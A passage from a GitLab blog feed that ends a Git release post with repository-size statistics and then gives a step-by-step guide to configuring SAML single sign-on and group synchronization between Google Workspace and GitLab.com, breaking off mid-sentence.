</span></span><span class="line" line="16"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Blobs</span><span style="--shiki-default:#D73A49">          |</span><span style="--shiki-default:#6F42C1"> 162.40</span><span style="--shiki-default:#032F62"> k</span><span style="--shiki-default:#D73A49">   |
</span></span><span class="line" line="17"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Tags</span><span style="--shiki-default:#D73A49">           |</span><span style="--shiki-default:#6F42C1">    994</span><span style="--shiki-default:#D73A49">     |
</span></span><span class="line" line="18"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">   *</span><span style="--shiki-default:#032F62"> Inflated</span><span style="--shiki-default:#032F62"> size</span><span style="--shiki-default:#D73A49">    |</span><span style="--shiki-default:#6F42C1">   7.61</span><span style="--shiki-default:#032F62"> GiB</span><span style="--shiki-default:#D73A49"> |
</span></span><span class="line" line="19"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Commits</span><span style="--shiki-default:#D73A49">        |</span><span style="--shiki-default:#6F42C1">  60.95</span><span style="--shiki-default:#032F62"> MiB</span><span style="--shiki-default:#D73A49"> |
</span></span><span class="line" line="20"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Trees</span><span style="--shiki-default:#D73A49">          |</span><span style="--shiki-default:#6F42C1">   2.44</span><span style="--shiki-default:#032F62"> GiB</span><span style="--shiki-default:#D73A49"> |
</span></span><span class="line" line="21"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Blobs</span><span style="--shiki-default:#D73A49">          |</span><span style="--shiki-default:#6F42C1">   5.11</span><span style="--shiki-default:#032F62"> GiB</span><span style="--shiki-default:#D73A49"> |
</span></span><span class="line" line="22"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Tags</span><span style="--shiki-default:#D73A49">           |</span><span style="--shiki-default:#6F42C1"> 731.73</span><span style="--shiki-default:#032F62"> KiB</span><span style="--shiki-default:#D73A49"> |
</span></span><span class="line" line="23"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">   *</span><span style="--shiki-default:#032F62"> Disk</span><span style="--shiki-default:#032F62"> size</span><span style="--shiki-default:#D73A49">        |</span><span style="--shiki-default:#6F42C1"> 301.50</span><span style="--shiki-default:#032F62"> MiB</span><span style="--shiki-default:#D73A49"> |
</span></span><span class="line" line="24"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Commits</span><span style="--shiki-default:#D73A49">        |</span><span style="--shiki-default:#6F42C1">  33.57</span><span style="--shiki-default:#032F62"> MiB</span><span style="--shiki-default:#D73A49"> |
</span></span><span class="line" line="25"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Trees</span><span style="--shiki-default:#D73A49">          |</span><span style="--shiki-default:#6F42C1">  77.92</span><span style="--shiki-default:#032F62"> MiB</span><span style="--shiki-default:#D73A49"> |
</span></span><span class="line" line="26"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Blobs</span><span style="--shiki-default:#D73A49">          |</span><span style="--shiki-default:#6F42C1"> 189.44</span><span style="--shiki-default:#032F62"> MiB</span><span style="--shiki-default:#D73A49"> |
</span></span><span class="line" line="27"><span style="--shiki-default:#D73A49">|</span><span style="--shiki-default:#6F42C1">     *</span><span style="--shiki-default:#032F62"> Tags</span><span style="--shiki-default:#D73A49">           |</span><span style="--shiki-default:#6F42C1"> 578.13</span><span style="--shiki-default:#032F62"> KiB</span><span style="--shiki-default:#D73A49"> |
</span></span></code></pre><p>The keen-eyed among you may have also noticed that the size values in the table output are also now listed in a more human-friendly manner with units appended. In subsequent releases we hope to further expand this command&#39;s output to provide additional data points such as the largest individual objects in the repository.</p><p>This project was led by <a href="https://gitlab.com/justintobler" rel="">Justin Tobler</a>.</p><h2 id="read-more">Read more</h2><p>This article highlighted just a few of the contributions made by GitLab and
the wider Git community for this latest release. You can learn about these from
the <a href="https://lore.kernel.org/git/xmqq4inz13e3.fsf@gitster.g/T/#u" rel="">official release announcement</a> of the Git project. Also, check
out our <a href="https://about.gitlab.com/blog/tags/git/" rel="">previous Git release blog posts</a>
to see other past highlights of contributions from GitLab team members.</p><style>html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}</style>]]></content>
        <author>
            <name>Justin Tobler</name>
            <uri>https://about.gitlab.com/blog/authors/justin-tobler/</uri>
        </author>
        <published>2026-02-02T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[How to set up GitLab SAML SSO with Google Workspace]]></title>
        <id>https://about.gitlab.com/blog/how-to-set-up-gitlab-saml-sso-with-google-workspace/</id>
        <link href="https://about.gitlab.com/blog/how-to-set-up-gitlab-saml-sso-with-google-workspace/"/>
        <updated>2026-01-27T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Single sign-on (SSO) simplifies user authentication and improves security by allowing employees to access multiple applications with one set of credentials. For organizations using both GitLab and Google Workspace, integrating SAML-based SSO streamlines access management and ensures your teams can collaborate seamlessly.</p><p>In this guide, we&#39;ll walk through configuring SAML authentication between Google Workspace and GitLab.com, including automatic group synchronization that maps Google Workspace groups to GitLab roles. By the end, your users will be able to sign in to GitLab using their Google credentials, and their permissions will automatically reflect their Google group memberships.</p><p><strong>Note:</strong> This guide focuses on GitLab.com (SaaS). If you&#39;re using GitLab Self-Managed, the setup process differs slightly. Refer to the <a href="https://docs.gitlab.com/integration/saml/" rel="">official GitLab SAML documentation for self-managed instances</a> for detailed instructions.</p><h2 id="what-youll-need">What you&#39;ll need</h2><p>Before getting started, make sure you have:</p><ul><li><strong>Google Workspace</strong> with Super Admin access</li><li><strong>GitLab.com</strong> with a Premium or Ultimate tier subscription</li><li><strong>Owner role</strong> on a GitLab top-level group</li><li>Users already existing in Google Workspace (they&#39;ll be created in GitLab automatically on first login)</li></ul><h2 id="understanding-the-architecture">Understanding the architecture</h2><p>When you configure SAML SSO with group synchronization, here&#39;s what happens:</p><ol><li><strong>Authentication flow</strong>: Users navigate to GitLab&#39;s SSO URL and are redirected to Google Workspace to authenticate.</li><li><strong>SAML assertion</strong>: After successful authentication, Google sends a SAML response containing user details and group memberships.</li><li><strong>Automatic provisioning</strong>: GitLab creates the user account (if needed) and assigns them to groups based on their Google group memberships.</li><li><strong>Permission sync</strong>: Each time users sign in, GitLab updates their group memberships and roles to match their current Google groups.</li></ol><p>This setup provides several benefits:</p><ul><li><strong>Centralized access control</strong>: You can manage user access through Google Workspace groups.</li><li><strong>Automatic provisioning</strong>: New users gain GitLab access on their first login.</li><li><strong>Dynamic permissions</strong>: User roles update automatically based on group membership changes.</li><li><strong>Enhanced security</strong>: You can leverage Google&#39;s authentication security features.</li><li><strong>Reduced administrative overhead</strong>: There is no need to manually manage GitLab group memberships.</li></ul><h2 id="part-1-get-your-gitlab-saml-configuration-values">Part 1: Get your GitLab SAML configuration values</h2><p>First, you&#39;ll need to gather some information from GitLab that you&#39;ll use when creating the SAML application in Google Workspace. Here are the steps to take:</p><h3 id="step-1-navigate-to-your-gitlab-group-saml-settings">Step 1: Navigate to your GitLab group SAML settings</h3><ol><li>Sign in to <strong>GitLab.com</strong>.</li><li>Navigate to your <strong>top-level group</strong> (Note: SAML SSO can only be configured at the top-level group, not in subgroups).</li><li>In the left sidebar, select <strong>Settings &gt; SAML SSO</strong>.</li></ol><h3 id="step-2-copy-the-required-urls">Step 2: Copy the required URLs</h3><p>On the SAML SSO settings page, you&#39;ll see three important URLs. Copy and save these somewhere accessible — you&#39;ll need them shortly:</p><ul><li><strong>Assertion consumer service URL</strong>: This is where Google will send SAML responses.<ul><li>Format: <code className="">https://gitlab.com/groups/your-group/-/saml/callback</code></li></ul></li><li><strong>Identifier</strong>: Also called the Entity ID, this uniquely identifies your GitLab group.<ul><li>Format: <code className="">https://gitlab.com/groups/your-group</code></li></ul></li><li><strong>GitLab SSO URL</strong>: This is the URL your users will use to sign in.<ul><li>Format: <code className="">https://gitlab.com/groups/your-group/-/saml/sso</code></li></ul></li></ul><figure>
  <img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769090029/lrw6jbn7ussjze6lxg5o.png" alt="GitLab SAML single sign-on settings" />
  <figcaption><em>GitLab SAML single sign-on settings</em></figcaption></figure><p>Now you&#39;ll create a custom SAML application in Google Workspace that connects to your GitLab group.</p><h3 id="step-3-access-the-google-admin-console">Step 3: Access the Google Admin Console</h3><ol><li>Open a new browser tab and sign in to the <a href="https://admin.google.com/" rel="">Google Admin Console</a> with a Super Administrator account.</li><li>Click the <strong>Menu</strong> icon (☰) in the top-left.</li><li>Navigate to <strong>Apps &gt; Web and mobile apps</strong>.</li><li>Click <strong>Add App &gt; Add custom SAML app</strong>.</li></ol><figure>
  <img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769090026/c2inhqzppdbszysupjcd.png" alt="Google custom SAML app" />
  <figcaption><em>Google custom SAML app</em></figcaption></figure><h3 id="step-4-configure-the-application-name">Step 4: Configure the application name</h3><ol><li>In the <strong>App name</strong> field, enter GitLab (or your preferred name).</li><li>Optionally upload a <strong>GitLab logo</strong> as the app icon for easy recognition.</li><li>Click <strong>Continue</strong>.</li></ol><h3 id="step-5-download-google-identity-provider-details">Step 5: Download Google identity provider details</h3><p>On the <strong>Google Identity Provider details</strong> page, you&#39;ll need to capture two pieces of information:</p><ol><li><strong>SSO URL</strong>: Copy this URL. It tells GitLab where to send authentication requests.<ul><li>Example format: <code className="">https://accounts.google.com/o/saml2/idp?idpid=C1234abcd</code></li></ul></li><li><strong>Certificate</strong>: Click the <strong>Download</strong> button to save the certificate file.<ul><li>The file will be named something like: <code className="">GoogleIDPCertificate-gitlab.pem</code></li><li>Save this file somewhere you can easily find it. You&#39;ll need it in the next section</li></ul></li><li>Click <strong>Continue</strong>.</li></ol><h3 id="step-6-configure-service-provider-details">Step 6: Configure service provider details</h3><p>This is where you&#39;ll use the GitLab URLs you copied in Step 2. Enter the following:</p><table><thead><tr><th><strong>Field</strong></th><th><strong>Value</strong></th><th><strong>Description</strong></th></tr></thead><tbody><tr><td><strong>ACS URL</strong></td><td>Your GitLab Assertion consumer service URL</td><td>Where Google sends SAML responses</td></tr><tr><td><strong>Entity ID</strong></td><td>Your GitLab Identifier</td><td>Unique identifier for your GitLab group</td></tr><tr><td><strong>Start URL</strong></td><td>Leave blank</td><td>Not required for this setup</td></tr><tr><td><strong>Name ID format</strong></td><td>Select <strong>EMAIL</strong></td><td>The format for the user identifier</td></tr><tr><td><strong>Name ID</strong></td><td>Select <strong>Basic Information &gt; Primary Email</strong></td><td>The user&#39;s primary email will be used as their identifier</td></tr><tr><td><strong>Signed response</strong></td><td>Leave unchecked</td><td>GitLab doesn&#39;t require signed responses by default</td></tr></tbody></table><figure style="margin: 24px 0;">
  <img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769090028/kaui5vj14gkftbfgsbnz.png" alt="GitLab SAML app details" />
  <figcaption><em>GitLab SAML app details</em></figcaption></figure><p>Click <strong>Continue</strong> when complete.</p><h3 id="step-7-configure-attribute-mapping">Step 7: Configure attribute mapping</h3><p>Attribute mapping tells Google which user information to send to GitLab. You&#39;ll configure both basic user attributes and group membership.</p><h4 id="basic-attributes">Basic attributes</h4><p>Add these three attribute mappings by clicking <strong>Add mapping</strong> for each:</p><table><thead><tr><th><strong>Google Directory attribute</strong></th><th><strong>App attribute</strong></th></tr></thead><tbody><tr><td>Primary email</td><td>email</td></tr><tr><td>First name</td><td>first_name</td></tr><tr><td>Last name</td><td>last_name</td></tr></tbody></table><h4 id="group-membership-configuration">Group membership configuration</h4><p>This is the critical configuration that enables automatic group synchronization:</p><ol><li>Scroll down to the <strong>&quot;Group membership (optional)&quot;</strong> section.</li><li>Under <strong>&quot;Google groups&quot;</strong>, click <strong>&quot;Search for a group&quot;</strong>.</li><li>Search for and select each Google Workspace group you want to synchronize with GitLab.<ul><li>You can select up to 75 groups</li><li>Examples: Engineering, DevOps, Platform-Team, Security-Team</li></ul></li><li>Under <strong>&quot;App attribute&quot;</strong>, enter exactly: <code className="">groups</code>.</li><li>Click <strong>Finish</strong>.</li></ol><figure>
  <img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769090027/ksuebt9uoe3w5cdzsjkl.png" alt="GitLab SAML app attribute mapping" />
  <figcaption><em>GitLab SAML app attribute mapping</em></figcaption></figure><blockquote><p><strong>Critical</strong>: The app attribute name <strong>MUST</strong> be exactly <code className="">groups</code> (lowercase). This is what GitLab expects to receive in the SAML response. Any other value or capitalization will prevent group synchronization from working.</p></blockquote><h3 id="step-8-enable-the-application-for-users">Step 8: Enable the application for users</h3><p>Your SAML app is created but not yet enabled. To make it available to users:</p><ol><li>In the Google Admin Console, find your <strong>GitLab</strong> app in the Web and mobile apps list.</li><li>Click on the app to open its details.</li><li>In the left sidebar, click <strong>User access</strong>.</li><li>Select one of the following:<ul><li><strong>ON for everyone</strong> - Enables the app for all users in your organization</li><li><strong>ON for some organizational units</strong> - Select specific organizational units</li></ul></li><li>Click <strong>Save</strong>.</li></ol><p><strong>Note</strong>: Changes can take up to 24 hours to propagate, but typically take effect within a few minutes.</p><h2 id="part-3-convert-the-certificate-to-sha-1-fingerprint-format">Part 3: Convert the certificate to SHA-1 fingerprint format</h2><p>GitLab requires a SHA-1 certificate fingerprint, but Google&#39;s certificate download doesn&#39;t include this format directly. You&#39;ll need to convert it.</p><h3 id="step-9-convert-your-certificate">Step 9: Convert your certificate</h3><p>You have two options for converting the certificate to the required format.</p><h4 id="option-1-online-conversion-tool">Option 1: Online conversion tool</h4><p>This is a viable method if you&#39;re comfortable using a third-party tool:</p><ol><li><strong>Locate the certificate file</strong> you downloaded in Step 5:<ul><li>Check your Downloads folder</li><li>The file name will be something like: <code className="">GoogleIDPCertificate-gitlab.pem</code></li></ul></li><li><strong>Open the file</strong> in a text editor:<ul><li>Mac: <strong>Right-click &gt; Open With &gt; TextEdit</strong></li><li>Windows: <strong>Right-click &gt; Open With &gt; Notepad</strong></li><li>Linux: Use your preferred text editor</li></ul></li><li><strong>Copy ALL contents</strong> of the file, including the header and footer:</li></ol><pre className="language-text" code="-----BEGIN CERTIFICATE-----
MIIDdDCCAlygAwIBAgIGAXqD...
(multiple lines of encoded text)
...kE7RnF6yQ==
-----END CERTIFICATE-----
" language="text" meta=""><code>-----BEGIN CERTIFICATE-----
MIIDdDCCAlygAwIBAgIGAXqD...
(multiple lines of encoded text)
...kE7RnF6yQ==
-----END CERTIFICATE-----
</code></pre><ol start="4"><li><strong>Navigate to</strong>: A SHA-1 fingerprint conversion tool. <a href="https://www.samltool.com/fingerprint.php" rel="">This one</a> is a good example.</li><li><strong>Paste the certificate content</strong> into the text box.</li><li><strong>Select &quot;SHA-1&quot;</strong> from the algorithm dropdown (not SHA-256!).</li><li>Click <strong>&quot;Calculate Fingerprint&quot;</strong>.</li><li><strong>Copy the resulting fingerprint</strong> - it will be in the format: <code className="">XX:XX:XX:XX:XX:...</code>.</li></ol><h4 id="option-2-command-line-conversion">Option 2: Command-line conversion</h4><p>If you prefer using the command line:</p><p><strong>For Mac, Linux, or Windows with WSL:</strong></p><pre className="language-bash shiki shiki-themes github-light" code="cd ~/Downloads
openssl x509 -noout -fingerprint -sha1 -inform pem -in &quot;GoogleIDPCertificate-gitlab.pem&quot;
" language="bash" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#005CC5">cd</span><span style="--shiki-default:#032F62"> ~/Downloads
</span></span><span class="line" line="2"><span style="--shiki-default:#6F42C1">openssl</span><span style="--shiki-default:#032F62"> x509</span><span style="--shiki-default:#005CC5"> -noout</span><span style="--shiki-default:#005CC5"> -fingerprint</span><span style="--shiki-default:#005CC5"> -sha1</span><span style="--shiki-default:#005CC5"> -inform</span><span style="--shiki-default:#032F62"> pem</span><span style="--shiki-default:#005CC5"> -in</span><span style="--shiki-default:#032F62"> &quot;GoogleIDPCertificate-gitlab.pem&quot;
</span></span></code></pre><p>The output will show:</p><pre className="language-text" code="SHA1 Fingerprint=XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX
" language="text" meta=""><code>SHA1 Fingerprint=XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX
</code></pre><p>Copy everything after <code className="">SHA1 Fingerprint=</code>.</p><h2 id="part-4-complete-your-gitlab-saml-configuration">Part 4: Complete your GitLab SAML configuration</h2><p>Now that you have the Google SSO URL and certificate fingerprint, you can complete the GitLab side of the configuration.</p><h3 id="step-10-enter-google-identity-provider-details">Step 10: Enter Google identity provider details</h3><p>Return to your GitLab browser tab (<strong>Settings &gt; SAML SSO</strong>) and do the following:</p><ol><li><strong>Identity provider SSO URL</strong>:<ul><li>Paste the SSO URL you copied from Google in Step 5</li></ul></li><li><strong>Certificate fingerprint</strong>:<ul><li>Paste the SHA-1 fingerprint you generated in Step 9</li><li>Verify the format is correct: 59 characters with colons (XX:XX:XX:...)</li></ul></li><li><strong>Enable SAML authentication for this group</strong>:<ul><li>Check this box to activate SAML SSO</li></ul></li></ol><figure>
  <img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769090027/ncoeqrdu7aahyuflrq7b.png" alt="GitLab SAML Configuration with Google SAML values" />
  <figcaption><em>GitLab SAML Configuration with Google SAML values</em></figcaption></figure><h3 id="step-11-configure-security-settings-recommended">Step 11: Configure security settings (recommended)</h3><p>For enhanced security, consider enabling these additional options:</p><ul><li><strong>&quot;Enforce SAML authentication for web activity for this group&quot;</strong><ul><li>Requires users to authenticate via SAML to access the GitLab web interface</li></ul></li><li><strong>&quot;Enforce SAML authentication for Git and Dependency Proxy activity for this group&quot;</strong><ul><li>Requires SAML authentication for Git operations and dependency proxy access</li></ul></li></ul><p>Click <strong>Save changes</strong> to apply your configuration.</p><h3 id="step-12-test-your-saml-configuration">Step 12: Test your SAML configuration</h3><p>Before proceeding with group synchronization, verify that basic SAML authentication works:</p><ol><li>Open an incognito or private browsing window.</li><li>Navigate to your GitLab SSO URL.<ul><li>Format: <code className="">https://gitlab.com/groups/your-group/-/saml/sso</code></li></ul></li><li>You should be redirected to the Google sign-in page.</li><li>Sign in with a Google Workspace account that has access to the GitLab app.</li><li>After successful authentication, you should be redirected back to GitLab.</li></ol><p><strong>If the test succeeds</strong>, you can proceed to configure group synchronization.</p><p><strong>If the test fails</strong>, check the following:</p><ul><li>Verify the certificate fingerprint is SHA-1 format (not SHA-256).</li><li>Confirm the SSO URL is correct.</li><li>Ensure the user has access to the GitLab SAML app in Google Admin Console.</li><li>Check that the ACS URL and Entity ID match exactly.</li></ul><h2 id="part-5-set-up-saml-group-synchronization">Part 5: Set up SAML group synchronization</h2><p>Now it&#39;s time to map your Google Workspace groups to GitLab roles so that permissions are automatically managed based on group membership.</p><h3 id="step-13-configure-default-membership-role">Step 13: Configure default membership role</h3><p>As a security best practice, set a minimal default role for users who log in but don&#39;t belong to any mapped groups:</p><ol><li>In your GitLab group, navigate to <strong>Settings &gt; General</strong>.</li><li>Expand the <strong>Permissions and group features</strong> section.</li><li>Under <strong>Default membership role</strong>, select <strong>Minimal Access or Guest</strong>.</li><li>Click <strong>Save changes</strong>.</li></ol><figure>
  <img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769097587/syi0jeaspzt9tki0w9nd.png" alt="GitLab SAML Default membership setting" />
  <figcaption><em>GitLab SAML Default membership setting</em></figcaption></figure><h3 id="step-14-create-saml-group-links">Step 14: Create SAML group links</h3><p>SAML Group Links are the mappings between Google Workspace groups and GitLab roles. Here&#39;s how to create them:</p><ol><li>In your GitLab group, navigate to <strong>Settings &gt; SAML Group Links</strong>.</li><li>Click <strong>&quot;Add new SAML Group Link&quot;</strong>.</li></ol><p>For each Google Workspace group you want to sync:</p><p><strong>SAML Group Name</strong>:</p><ul><li>Enter the <strong>exact name</strong> of your Google Workspace group</li><li>This is <strong>case-sensitive</strong> and must match perfectly</li><li>Example: Engineering (not engineering)</li><li>To find the exact name: Google Admin Console &gt; Directory &gt; Groups</li></ul><p><strong>Access Level</strong>: Select the appropriate GitLab role:</p><ul><li><strong>Minimal Access</strong> - Can see that the group exists</li><li><strong>Guest</strong> - Can view issues and leave comments</li><li><strong>Reporter</strong> - Can pull code, view issues, and create new issues</li><li><strong>Developer</strong> - Can push code, create merge requests, and manage issues</li><li><strong>Maintainer</strong> - Can manage project settings and members</li><li><strong>Owner</strong> - Full administrative control over the group</li></ul><ol start="3"><li>Click <strong>Save</strong>.</li><li><strong>Repeat this process</strong> for each Google Workspace group you want to map.</li></ol><p><strong>Note:</strong> SAML group sync rules are enforced every time a user signs in. If a user&#39;s Google group membership matches a sync rule, their GitLab role will be automatically set to the configured access level, even if you&#39;ve manually changed it to something different. For example, if you set up a sync rule that grants &quot;Maintainer&quot; access and then manually promote a user to &quot;Owner,&quot; they&#39;ll be automatically downgraded back to &quot;Maintainer&quot; on their next SAML sign-in.</p><p><strong>Best practices:</strong> To maintain custom access levels for specific users, do one of the following:</p><ul><li>Use SAML group sync only on your top-level group and manually manage permissions in subgroups</li><li>Create separate Google groups for users who need elevated permissions</li><li>Avoid setting up sync rules that would conflict with manual role assignments</li></ul><figure>
  <img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769090028/etjoaiuyhnqh4gnjqcha.png" alt="GitLab SAML Group Links setup" />
  <figcaption><em>GitLab SAML Group Links setup</em></figcaption></figure><p>Here&#39;s a practical example of how you might structure your group mappings:</p><table><thead><tr><th><strong>Google Workspace Group</strong></th><th><strong>GitLab Role</strong></th><th><strong>Purpose</strong></th></tr></thead><tbody><tr><td>GitLab-Admins</td><td>Owner</td><td>Full administrative access</td></tr><tr><td>Engineering-Team</td><td>Maintainer</td><td>Can manage projects and settings</td></tr><tr><td>Developer-Team</td><td>Developer</td><td>Can write and push code</td></tr><tr><td>QA-Team</td><td>Developer</td><td>Can test and manage issues</td></tr><tr><td>Contractors</td><td>Reporter</td><td>Read-only access to code</td></tr><tr><td>All-Employees</td><td>Minimal Access</td><td>Basic visibility</td></tr></tbody></table><h3 id="step-15-verify-your-group-links">Step 15: Verify your group links</h3><p>After creating all your group links:</p><ol><li>Review the complete list of SAML Group Links in <strong>Settings &gt; SAML Group Links</strong>.</li><li>Verify each <strong>SAML Group Name</strong> exactly matches the corresponding Google Workspace group.</li><li>Verify each <strong>Access Level</strong> is appropriate for the intended purpose.</li><li>Check for any typos or extra spaces.</li></ol><h2 id="part-6-test-the-complete-configuration">Part 6: Test the complete configuration</h2><p>Now it&#39;s time to test the entire setup including group synchronization.</p><h3 id="step-16-test-with-a-real-user">Step 16: Test with a real user</h3><p>Choose a test user who meets these criteria:</p><ul><li>Has a Google Workspace account</li><li>Is a member of at least one Google Workspace group you configured</li><li>Has the GitLab SAML app enabled in Google Admin Console</li><li>Ideally is not you (to ensure a realistic test)</li></ul><p>To perform the test:</p><ol><li><strong>Open an incognito or private browsing window</strong></li><li><strong>Navigate to your GitLab SSO URL</strong>:<ul><li><code className="">https://gitlab.com/groups/your-group/-/saml/sso</code></li></ul></li><li><strong>Sign in</strong> with the test user&#39;s Google Workspace credentials</li><li>The user should be:<ul><li>Authenticated successfully</li><li>Redirected to GitLab</li><li>Automatically added to the GitLab group</li><li>Assigned the appropriate role based on their Google group membership</li></ul></li></ol><h3 id="step-17-verify-group-membership-and-role-assignment">Step 17: Verify group membership and role assignment</h3><p>Using your GitLab administrator account:</p><ol><li>Navigate to your group in GitLab.</li><li>Select <strong>Manage &gt; Members</strong> from the left sidebar.</li><li>Find the test user in the members list.</li><li>Verify the following:
<ul><li>User appears in the members list</li><li>User has the correct <strong>Max role</strong> based on their Google group(s)</li><li><strong>Source</strong> column shows a SAML indicator</li></ul></li></ol><figure>
  <img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769090026/hiov7kiukidsiyscfesg.png" alt="Verified SAML user added" />
  <figcaption><em>Verified SAML user added</em></figcaption></figure><h2 id="part-7-configure-subgroup-access-optional">Part 7: Configure subgroup access (optional)</h2><p>For larger organizations, you may want to provide more granular access control using GitLab subgroups. SAML Group Links can be configured at any level of your group hierarchy, allowing you to map different Google Workspace groups to specific teams or projects.</p><h3 id="understanding-gitlabs-subgroup-structure">Understanding GitLab&#39;s subgroup structure</h3><p>GitLab supports nested group hierarchies that can mirror your organizational structure:</p><pre className="language-text" code="acme-corp/                          ← Top-level group (SAML configured here)
├── engineering/                    ← Subgroup
│   ├── backend/                   ← Nested subgroup
│   └── frontend/                  ← Nested subgroup
├── marketing/                      ← Subgroup
└── operations/                     ← Subgroup
" language="text" meta=""><code>acme-corp/                          ← Top-level group (SAML configured here)
├── engineering/                    ← Subgroup
│   ├── backend/                   ← Nested subgroup
│   └── frontend/                  ← Nested subgroup
├── marketing/                      ← Subgroup
└── operations/                     ← Subgroup
</code></pre><h3 id="creating-subgroups">Creating subgroups</h3><p>If you need to create additional subgroups:</p><ol><li>Navigate to your <strong>parent group</strong> (e.g., acme-corp).</li><li>Click the <strong>New subgroup</strong> button.</li><li>Configure the subgroup:<ul><li><strong>Subgroup name</strong>: Display name (e.g., Engineering)</li><li><strong>Subgroup URL</strong>: URL slug (e.g., engineering)</li><li><strong>Visibility level</strong>: Choose Private, Internal, or Public</li></ul></li><li>Click <strong>Create subgroup</strong>.</li><li>Repeat for other subgroups as needed.</li></ol><h3 id="configuring-saml-group-links-for-subgroups">Configuring SAML group links for subgroups</h3><p>Here are the steps to configure SAML group links for subgroups.</p><h4 id="add-new-google-groups-to-the-saml-app-if-needed">Add new Google groups to the SAML app (if needed)</h4><p>If you&#39;re introducing new Google Workspace groups for subgroup access:</p><ol><li>Go to <strong>Google Admin Console &gt; Apps &gt; Web and mobile apps &gt; GitLab</strong>.</li><li>Click <strong>SAML attribute mapping</strong>.</li><li>Scroll to <strong>&quot;Group membership (optional)&quot;</strong>.</li><li>Add your new groups (e.g., Backend-Team, Frontend-Team).</li><li>Verify the <strong>&quot;App attribute&quot;</strong> is still <code className="">groups</code>.</li><li>Click <strong>Save</strong>.</li></ol><h4 id="map-google-groups-to-subgroups">Map Google groups to subgroups</h4><ol><li><strong>Navigate to the specific subgroup</strong> in GitLab<ul><li>Example: acme-corp/engineering/backend</li></ul></li><li>Go to <strong>Settings &gt; SAML Group Links</strong>.</li><li>Click <strong>&quot;Add new SAML Group Link&quot;</strong>.</li><li>Configure the mapping:<ul><li><strong>SAML Group Name</strong>: Backend-Team (exact Google Workspace group name)</li><li><strong>Access Level</strong>: Developer (or your desired role)</li></ul></li><li>Click <strong>Save</strong>.
Repeat this process for all subgroups and their corresponding Google groups.</li></ol><h3 id="multi-level-access-example">Multi-level access example</h3><p>Here&#39;s how permissions might work across different levels:</p><h4 id="top-level-group-acme-corp">Top-level group: acme-corp</h4><p>SAML Group Links:</p><ul><li>&quot;Company-Admins&quot; → Owner</li><li>&quot;All-Employees&quot; → Minimal Access</li></ul><h4 id="subgroup-acme-corpengineering">Subgroup: acme-corp/engineering</h4><p>SAML Group Links:</p><ul><li>&quot;Engineering-Leads&quot; → Owner</li><li>&quot;Engineering-Team&quot; → Maintainer</li></ul><h4 id="nested-subgroup-acme-corpengineeringbackend">Nested subgroup: acme-corp/engineering/backend</h4><p>SAML Group Links:</p><ul><li>&quot;Backend-Leads&quot; → Maintainer</li><li>&quot;Backend-Team&quot; → Developer</li></ul><h3 id="how-permissions-inherit-and-combine">How permissions inherit and combine</h3><p>Understanding permission behavior is important:</p><ul><li><strong>Role calculation</strong>: At each level, users receive the <strong>highest role</strong> from all their Google groups.</li><li><strong>Inheritance</strong>: Higher permissions at parent levels flow down to child subgroups.</li><li><strong>Independence</strong>: Each level calculates permissions based on its own group links plus inherited permissions.</li><li><strong>No limitation</strong>: Lower permissions at parent levels do NOT restrict higher permissions at child levels.</li></ul><p><strong>Example scenarios</strong>:</p><p><strong>User A</strong> (member of Backend-Team only):</p><ul><li>acme-corp: Minimal Access (from &quot;All-Employees&quot; default)</li><li>acme-corp/engineering: Minimal Access (inherited from parent)</li><li>acme-corp/engineering/backend: Developer (from &quot;Backend-Team&quot; mapping)</li></ul><p><strong>User B</strong> (member of Engineering-Leads and Backend-Team):</p><ul><li>acme-corp: Minimal Access (from &quot;All-Employees&quot; default)</li><li>acme-corp/engineering: Owner (from &quot;Engineering-Leads&quot; mapping)</li><li>acme-corp/engineering/backend: Owner (inherited from parent, which is higher than Developer)</li></ul><h2 id="how-the-synchronization-works">How the synchronization works</h2><p>Understanding the mechanics of SAML group synchronization helps you manage the system effectively.</p><h3 id="synchronization-timing">Synchronization timing</h3><ul><li><strong>When sync occurs</strong>: Group memberships update <strong>every time</strong> a user signs in via SAML.</li><li><strong>Frequency</strong>: Changes are not continuous — they only happen at login.</li><li><strong>Direction</strong>: Synchronization is <strong>one-way</strong> from Google Workspace to GitLab.</li><li><strong>First login</strong>: User account is created automatically and groups are assigned.</li><li><strong>Subsequent logins</strong>: Existing group memberships are updated to match 